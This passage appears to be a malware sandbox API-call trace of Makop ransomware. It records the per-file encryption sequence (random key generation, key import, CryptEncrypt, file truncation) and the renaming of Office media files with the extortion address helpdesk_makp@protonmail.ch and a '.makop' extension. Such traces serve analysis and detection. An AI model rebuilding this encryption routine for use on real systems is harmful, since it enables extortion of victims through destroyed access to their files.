hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.429] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.429] GetProcessHeap () returned 0x48a0000 [0164.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.429] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.430] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.431] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.431] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6db8, lpOverlapped=0x0) returned 1 [0164.433] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6dc0, dwBufLen=0x6dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6dc0) returned 1 [0164.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6dc0, lpOverlapped=0x0) returned 1 [0164.433] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.434] SetEndOfFile (hFile=0xf0) returned 1 [0164.440] GetProcessHeap () returned 0x48a0000 [0164.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.440] GetProcessHeap () returned 0x48a0000 [0164.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.440] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.443] CloseHandle (hObject=0xf0) returned 1 [0164.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0164.443] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF") returned 61 [0164.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.444] GetProcessHeap () returned 0x48a0000 [0164.444] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.444] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.445] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.445] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0164.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.449] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.449] GetProcessHeap () returned 0x48a0000 [0164.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.449] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.450] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.450] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa7c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa7c2, lpOverlapped=0x0) returned 1 [0164.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7d0, dwBufLen=0xa7d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7d0) returned 1 [0164.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa7d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa7d0, lpOverlapped=0x0) returned 1 [0164.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa8a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.454] SetEndOfFile (hFile=0xf0) returned 1 [0164.461] GetProcessHeap () returned 0x48a0000 [0164.461] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.461] GetProcessHeap () returned 0x48a0000 [0164.461] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.461] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.463] CloseHandle (hObject=0xf0) returned 1 [0164.463] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0164.463] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF") returned 61 [0164.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.465] GetProcessHeap () returned 0x48a0000 [0164.465] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.465] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0164.483] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.483] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.483] GetProcessHeap () returned 0x48a0000 [0164.483] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.483] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.483] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.485] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.485] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.485] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27ba, lpOverlapped=0x0) returned 1 [0164.486] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27c0) returned 1 [0164.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27c0, lpOverlapped=0x0) returned 1 [0164.487] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.487] SetEndOfFile (hFile=0xf0) returned 1 [0164.493] GetProcessHeap () returned 0x48a0000 [0164.493] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.493] GetProcessHeap () returned 0x48a0000 [0164.494] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.494] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.496] CloseHandle (hObject=0xf0) returned 1 [0164.496] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0164.496] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF") returned 61 [0164.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.497] GetProcessHeap () returned 0x48a0000 [0164.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.498] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0164.502] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.502] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.502] GetProcessHeap () returned 0x48a0000 [0164.502] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.502] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.502] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.502] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.503] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.503] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.504] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.504] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.504] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x197e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x197e, lpOverlapped=0x0) returned 1 [0164.505] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1980, dwBufLen=0x1980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1980) returned 1 [0164.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.505] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1980, lpOverlapped=0x0) returned 1 [0164.506] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.506] SetEndOfFile (hFile=0xf0) returned 1 [0164.512] GetProcessHeap () returned 0x48a0000 [0164.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.512] GetProcessHeap () returned 0x48a0000 [0164.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.513] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.515] CloseHandle (hObject=0xf0) returned 1 [0164.516] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, 